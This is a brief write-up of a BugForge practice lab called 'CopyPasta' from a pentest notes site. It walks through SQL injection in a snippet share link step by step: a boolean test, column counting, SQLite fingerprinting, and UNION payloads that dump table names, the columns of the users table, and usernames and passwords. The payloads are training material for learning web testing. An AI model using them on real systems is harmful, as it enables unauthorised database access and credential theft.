> For the complete documentation index, see [llms.txt](https://notes.dollarboysushil.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dollarboysushil.com/web-application-pentest/bugforge/sql-injection-sqli/copypasta.md).

# CopyPasta

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/PrVZTKSInEBhlx1As5lR" alt=""><figcaption></figcaption></figure>

after viewing any snippet, we have option to share, which gives us link of snippet

<figure><img src="/files/LkXpr7iW4lPyc8glQkvx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yvFktwOQYl2qdOpPyCQJ" alt=""><figcaption></figcaption></figure>

Possible SQLi

Using simple payload `' or 1=1— -` proves, it is vulnerable to SQLi

<figure><img src="/files/whpXN2phIC8WNlEb7EN8" alt=""><figcaption></figcaption></figure>

finding number of columns

`' order by 7-- -` gives error, hence the number of column is 6

<figure><img src="/files/eeHvwNwWbnPBAwX8toEe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sJ5G1G6rpumQT4AQu73p" alt=""><figcaption></figcaption></figure>

using `' union select 1,2,3,4,5,sqlite_version()-- -` confirm database is sqlite, [visit here for more info](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)&#x20;

<figure><img src="/files/jb4OayAHeHGZ1xJFookX" alt=""><figcaption></figcaption></figure>

dumping table names using

```
' union select 1,2,3,4,5,group_concat(tbl_name) from sqlite_master where type='table'-- -
```

<figure><img src="/files/CgR3u5l9qvsZF1MKlYIV" alt=""><figcaption></figcaption></figure>

`users` table looks interesting.

Next: dumping column names from table `users`

```
' union select 1,2,3,4,5,group_concat(name) from PRAGMA_TABLE_INFO('users')-- -
```

<figure><img src="/files/YqFsc7P80cibhzq557bN" alt=""><figcaption></figcaption></figure>

dumping `username` and `password` columns from `users` table

```
' union select 1,2,3,4,username,password from users-- -
```

<figure><img src="/files/WTgQkrmCmt2D8bc9nKAn" alt=""><figcaption></figcaption></figure>
